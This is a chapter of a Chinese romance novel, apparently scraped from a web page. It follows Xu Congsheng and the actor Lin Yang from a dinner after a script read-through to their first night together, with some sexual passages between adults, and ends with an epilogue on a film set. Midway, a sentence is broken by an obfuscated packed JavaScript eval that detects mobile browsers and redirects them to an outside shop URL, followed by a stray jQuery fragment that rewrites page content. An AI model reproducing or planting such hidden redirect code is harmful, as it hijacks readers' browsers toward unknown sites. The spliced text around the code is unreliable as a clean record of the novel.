许丛生其实有点讲不好她和林旸到底是怎么在一起的。
那好像就是很稀里糊涂地就发生了的一件事。
没有学生时代最喜欢看的偶像剧里一定会准备的鲜花，没有谁郑重其事地问一句“你愿不愿意做我女朋友”，甚至连一句正儿八经的“我喜欢你”都没有，事情就这么稀里糊涂地发生了。
后来许丛生想了想，觉得成年人的事情大概总是这样，十几岁时要在脑子里排练八百遍的东西，到了快三十岁，可能只需要一个晚上、一顿饭，以及半杯酒——
还有长达十二年的爱恋。
那句“我喜欢你”，已经毫无保留地讲了太多太多遍，多到已经不需要再反复提起，已经全然刻进了骨头里，变成了本能。
那天是《长生》第三次完整剧本围读结束，张捷做东，请一群人去附近吃饭。
林旸照旧没能逃过那半杯。
也不能说醉得多厉害，他喝醉以后向来不闹，就是反应比平时慢一点，眼睛看人时会停得久一点。旁边的人说一句话，他得过半秒才转过去，偶尔别人讲了个笑话，整桌人都笑完了，他才后知后觉地弯起眼睛跟着笑。
许丛生坐在对面一直盯着看，看完又觉得自己没事找事，低头继续吃饭。
散场以后，人陆陆续续走了。
李康照旧去地下停车场取车，许丛生叫的网约车还有十二分钟，于是两个人又是莫名其妙地一起坐在了路边吹冷风。
夜里很安静。
饭店门口偶尔有人出来，远处车辆一辆接一辆开过去，车轮碾过路面的声音时远时近。许丛生低头看了两次手机，第一次显示还有五分钟，第二次还是五分钟，她觉得这个司机大概是骑着乌龟来的。
林旸就站在旁边，可谁都没有说话。
倒也不尴尬。
旧事早已经翻了出来，十二年前的消息也全都看了个遍，该知道的不该知道的全知道得差不多，按理说应该已经没有什么值得忐忑的。
可偏偏就是因为知道得太多，那层原先还能装傻充愣的东西突然没了，两个人反而谁也不知道第一句话到底应该从哪里开始。
许丛生心里乱糟糟地堆着一团说不上是火气还是燥气的憋闷，人多时倒是还好，有各种事情可以分心，可一旦和林旸两个人单独相处，一切便好像又是另一种模式。
焦躁、难熬，沉默的空气让人更加心焦气躁。
想要更进一步，却不知道该不该更进一步。
许丛生觉得空气里像埋了颗炸弹。
引线都已经露在外面，火药也早就塞得满满当当，偏偏四周没有火，所以它就那么横在那里，谁都知道马上要炸，可偏偏就是炸不了。
就在这时，许丛生的手机突然“叮咚”了一声。
【司机已到达附近，请注意来车。】
声音并不大，却像有人突然蹲下来，一根火柴“嚓”地擦过了引线。
冷不丁地，许丛生突然抬起了头，没头没脑地蹦出来了一句话——
“你要不要跟我上车？”
“我能不能跟你上车？”
林旸几乎是同时间开了口。
话音落下的那一刻，世界突然死了。
许丛生看着林旸，林旸也看着她。
刚才还只是微微有点红的耳朵肉眼可见地一路烧了起来，林旸大概是真的喝得有点醉了，反应比平时慢，他张了张嘴，半天没说出来第二句话。
许丛生觉得自己应该好不到哪里去。
她能明显地感觉到自己的脸很烫，像烧起来了，或者是那颗炸弹在心里头炸了个体无完肤。许丛生一时间觉得自己是不是耳背，听错了。
一辆黑色轿车就在这时缓缓停到他们面前。车窗降下来，司机探出头：“尾号？”
许丛生脑子一片空白，她忽然想不起来自己的手机尾号是多少，可嘴巴还是凭着多年来打车练出来的肌肉记忆，非常流畅地报出了四个数字。
司机点头：“对的，上来吧。”
许丛生机械地伸手拉开后座车门，机械地坐进去，又机械地关上半扇门。下一秒，一只手从门外伸进来，轻轻推了一下她的肩膀。
“往里一点。”
“哦......哦。”
许丛生非常干巴巴地应了一声，往里面挪，林旸弯腰钻了进来。
车不大，他个子又高，长腿收进来的时候显得格外委屈，膝盖几乎顶到了前座靠背。
许丛生忽然冒出一个非常无关紧要的念头——早知道今天会突然豪言壮语邀请一个一米九的大男人跟她回家，她就不该为了省那八块钱选最便宜的网约车。
真委屈这个一米九大明星。
这个念头刚冒出来，许丛生又觉得不对。
她，一个一米七二的大聪明，本来只想平平安安回家睡觉，怎么就这么猖狂地开了这个口。
车里安静得离谱。
司机倒是很自在，开着导航，甚至还放了首不知道多少年前的老歌。许丛生死死盯着车窗外，觉得路边每一个红绿灯今天都慢得出奇，可又觉得这辆车开得太快了，最好再堵个两小时。
或许堵了两个小时之后，林旸就会突然反悔，打算打个车回自己酒店了。
可就这么一路浑浑噩噩地到了小区门口，许丛生硬着头皮往前走了两步，却发现身后还不依不饶地跟着脚步声。
她回过头，林旸跟在后面，站在那里，低头看她。
口罩遮掩着大部分面庞，显得他的眼睛比平时更亮一点。
两人就隔着不到一米的距离，你看着我，我看着你，夜里的风从两人中间穿过去，把他额前的碎发吹得有点乱，许丛生突然在想，她又不是什么贞洁烈女，这么大一块肖想了十多年的肥肉站在这儿，哪有不吃的道理。
后来林旸说，他当时也是这么想的。
所以等许丛生回过神来的时候，她已经仰着头和林旸亲在了一起。
事情发生的非常突然，甚至可以说是突然到可以说是鬼迷心窍了。
大门刚关上，鞋都还没脱，也不知道是林旸先托着许丛生的后脑勺压下来，还是许丛生先扯着林旸的领子往下面拽，但在许丛生的大脑回归神志时，她已经觉得有点呼吸不畅了。
头仰了太久，脖颈子疼，许丛生内心里突然觉得夸了林旸十多年的大长腿在此刻实在是鸡肋，这不是诚心让她得颈椎病吗。
接着她脑袋里又乱糟糟地想，想自己也是终于演上可以仰望骑士的公主了，而不是一米七二的公主去俯视一米五的文晓霖骑士。
接着她又想到其实不当公主也行，骑士也是可以多权篡位变成国王的，接着许丛生又想当上国王了之后那一定是要娶个漂亮男人的。
她看林旸就不错，长得很好，手也很好看，手指修长，搭在她后脑勺的时候温温热热的，甚至都没有让她的头真的碰到柜门，许丛生非常满意。
随后许丛生突然想起来，家里没套。
“等、等一下——”
许丛生猛地推开了林旸。
林旸明显没反应过来，往后退了半步，呼吸也有些乱。他低头看她，眼睛里还有刚才没有褪干净的湿亮，神情却第一时间认真起来。
“怎么了？”
许丛生张了张嘴，却没憋出半个字来。
“哪儿不舒服？”
“没有。”
“我弄疼你了？”
“也......没有。”
“那……”
许丛生觉得自己的脸又开始升温。
这怎么说。
她一个单身了快三十年——严格意义上说，是从出生起就没有谈过恋爱的人，要怎么非常自然、非常成熟、非常成年地告诉另一个成年男人：不好意思，家里没套，要不咱们择日再战。
许丛生觉得自己办不到。
理论知识她当然有，人活到这么大，谁还没看过点有的没的。没吃过猪肉，那也见过猪跑，没见过猪跑，那也见过别人碗里的猪肉。
尤其文晓霖那个畜生，平时画的就没几本能光明正大摆在书店儿童区，每次许丛生去杭市找她，还总被她以“学习人体结构”为由强行塞一堆乱七八糟的东西。
当然，许丛生郑重声明，她不是自愿的。如果帽子叔叔哪天找上门，她一定第一时间举报文晓霖。
可理论归理论，真的到了提着刀真枪实干的时候，许丛生还是慌了。
要不然——
要不然今天就到这儿吧。
做人不能太贪心，做人要循序渐进，成年人也不可以急于求成，成年人才不能急于求成——
“叮咚。”
门铃突然响了。
许丛生吓得一激灵，接着门外传来外卖员隔着门板有点模糊的声音：“外卖放门口咯！”
说完后，脚步声很快远去。
许丛生愣了一下，寻思着她也没叫外卖啊，接着地上亮起一道光。
许丛生低下头。
林旸的手机不知道什么时候掉在了地板上，屏幕刚好亮起来，上面显示着一条外卖平台通知。
【您的订单已送达。】
许丛生心里猛地升起来一股荒谬的猜想，她突然想起刚才林旸在车上问她家里地址，接着在手机上捣鼓着什么。
许丛生当时脑袋乱哄哄的——当然，现在也乱得要死——可她还以为他只是好奇她住在哪里，打算存在地图上，根本没有想到什么其他。
或许确实也存在了地图上。
可是——可是、
许丛生战战兢兢地抬起了头，而林旸正垂眼看着她。
大概是酒意还没完全散，他的眼神湿漉漉的，有点迷离，像是隔着一层薄薄的雾。刚才亲得久了，嘴唇比平时更红，甚至微微有些肿，唇上还沾着一点湿亮的光。
许丛生盯着看了两秒，脑子又莫名其妙地发散开来，稀里糊涂地蹦出来一个问题：到底是林旸这张嘴保养得太好，受不得一点刺激，还是她刚才真的有点饥不择食，硬生生给人做了个免费丰唇？
念头一出来，脸上原本就没退下
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17879377|212072||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
去的热意瞬间又烧了起来。
烧得很疼。
像刚才那颗炸弹炸出来的火星还没有熄灭，噼里啪啦地在脑子里乱蹦，眼皮烫得发涩，许丛生下意识地往后缩了一点。
林旸却突然俯下身来。
他本来就比她高出许多，这么靠近以后，宽大的肩背几乎将她整个人罩在门与自己之间。许丛生呼吸一滞，身体本能地又往后贴了贴，再下一刻，一只手从她腰侧绕过去，撑住了门。
“外卖。”他说。
声音还有点哑。
哦。
外卖。
许丛生觉得自己大概真的有病。
门被推开一道缝。
林旸几乎是环着她把外头那个纸袋拎了进来，手臂从她身侧收回时，袖口轻轻蹭了一下她的腰。明明隔着衣服，许丛生却莫名觉得那一点触感格外清楚，她连动都没敢动一下。
紧接着许丛生看到了袋子里的东西。
三盒。
整整齐齐。
三盒安全套。
许丛生艰难地咽了口口水。
鬼使神差地，她蹦出来了一句：“这么多吗？”
林旸垂着眼看她。
他的耳朵还是红的，脸上倒看不太出什么，只有那双眼睛湿润得厉害。过了会儿，他忽地说：“不够还可以再点。”
许丛生“哦”了一声，紧接着突然一愣。
“......啊？！”
许丛生突然有一瞬间在思考，是不是人活到这个岁数，自动就知道男人和女人躺在床上之后要怎么做要做什么。
虽然最开始还是很尴尬地摸索了半天。
林旸刚艰难探进去个头，许丛生突然觉得酒醒了。本着喝点儿酒可以壮胆的原则，许丛生慌慌张张往后一蹿，抓了一件落在地上的衣裳，想冲去厨房搞瓶酒喝。
可还没走两步，林旸忽然就追了上来，热烘烘地往她身上一帖，双手环过胸口，温热的气息喷洒在颈侧：“你又要逃走吗？”
腰窝抵了截滚烫的枪杆子，尺寸有些过于触目惊心，实在无法让人忽略。
许丛生莫名有点心虚。
她想说她不是临阵脱逃，穿上衣服只是没当着人家面光着跑来跑去，她又没去过大澡堂子，她害臊，可话到嘴边，就剩下几个支支吾吾地字：“我就是想来……来一杯。”
林旸没听明白。
他像只大型宠物犬，就那样挂在她许丛生身上，湿漉漉地唇瓣来来回回碾着颈肉，纤瘦却有力的手指反复游走。
许丛生突然有点庆幸自己有常年负重上蹿下跳的丰富经验，比如扛着二三十公斤的摄影设备上山，比如穿着十来公斤的铠甲演舞台剧，所以她才能硬生生地扛着一个一米九的大男人蹒跚到冰箱前。
许丛生打开冰箱门，给自己猛灌了一瓶果啤。
林旸瞧着她满冰箱的酒，“噗嗤”一下笑了：“我就说你一定喜欢橙子口味的。”
许丛生晕晕乎乎地想，大爷的，这个人为什么笑起来会这么好看。
那天她其实有点不记得她是几点起的了。
或者说，那天她起了几次睡了几次她有点没印象了。
大概能记得的就是特别渴，喝了好几瓶酒，嗓子哑得有点疼，腿也很软，腰很酸，林旸有点太猖狂了，看脸真的想不到会这样，她是真的有点吃不消——呸。
想到此，许丛生突然有点庆幸今天是星期天。
不然明天请一天假吧。
许丛生突然觉得按照现在的情况来讲，在办公室坐八个小时好像会很困难。
哦对，许丛生记得的还有李康的电话像夺命连环call一样烦人。
许丛生想，或许从以前到现在唯一没变的不是对林旸的喜爱，是对那个讨人厌的经纪人李康的厌恶。
“对了，我打算入股张捷导演的公司。”许丛生忽然说。
林旸从剧本里抬起头，侧过脸认真看她。
那天他还穿着戏服，属于李长生的粗布麻衣外面随手罩了件长羽绒服，风起风落，假发束成的高马尾飘起了几缕。
片场另一头忽然传来一阵嘈杂。
张捷正仰着头指挥工作人员给配角小队重新调威亚高度，几个穿着戏服的人悬在半空中，一会儿高一会儿低，远远看去颇有些滑稽。
“下一本小说我不打算开男频。”许丛生笑了笑，朝远处正在跟威亚师比划的张捷扬了扬下巴，“不过再下一本，说不定还能用得上这个班底。”
林旸笑弯了眼：“那再下一本，能不能给我一个试镜的机会？”
许丛生眯起眼睛，故意把他从头到脚打量了一遍：“那得看你的实力够不够拿到我的本子，又或者......”
许丛生“嘿嘿”一笑：“或者再过两年，坐在那台监视器前的人，是我呢？”
林旸扬了扬眉，满脸写着“果然如此”。接着他弯起了唇角：“那到时候就请许导多多指教？”
许丛生拍了拍他的肩膀，给了他一个“当然”的得意神情。